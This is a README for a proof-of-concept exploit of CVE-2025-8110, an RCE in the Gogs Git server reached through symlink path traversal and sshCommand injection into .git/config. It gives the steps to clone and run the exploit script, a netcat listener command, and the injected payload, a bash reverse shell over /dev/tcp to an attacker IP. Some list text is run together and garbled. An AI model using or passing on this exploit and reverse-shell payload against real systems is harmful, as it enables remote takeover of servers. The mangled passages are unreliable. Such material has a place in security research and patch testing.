
Proof-of-concept exploit for CVE-2025-8110, a Gogs RCE vulnerability exploiting path traversal via symbolic links and sshCommand injection to deliver a reverse shell.
A Proof of Concept (PoC) for CVE-2025-8110, a critical vulnerability in Gogs that allows Remote Code Execution (RCE) via .git/config manipulation using symbolic link bypasses and sshCommand injection.
This exploit targets a Path Traversal flaw in the Gogs API content management. An authenticated user can:
.git/config.sshCommand to execute a Reverse Shell when the server performs Git operations.!, @).Rich library.git clone https://github.com/Ghxstsec/CVE-2025-8110.git
cd CVE-2025-8110
Install dependencies:
pip3 install -r requirements.txt
💻 Usage
Start your listener:
nc -lvnp 6666
Run the exploit:
python3 CVE-2025-8110-RCE.py -u [http://target-gogs.htb:3000](http://target-gogs.htb:3000) -lh <YOUR_IP> -lp 6666 -p 'YourPassword123!'
Arguments:
sshCommand = bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1' #
When Gogs executes a Git command that requires network transport (like a mirror sync or internal reference check), it invokes the sshCommand, triggering the reverse shell.
| Argument | Description |
|---|
-u, --url | Base URL of the target Gogs instance (e.g., http://target.htb:3000). |
-lh, --host | Attacker IP (LHOST) where the reverse shell will connect back. |
-lp, --port | Listener Port (LPORT) configured on your machine. |
-p, --password | Password for the pwnuser account to perform authentication. |
-x, --proxy | (Optional) Routes traffic through a local proxy (default: http://localhost:8080). |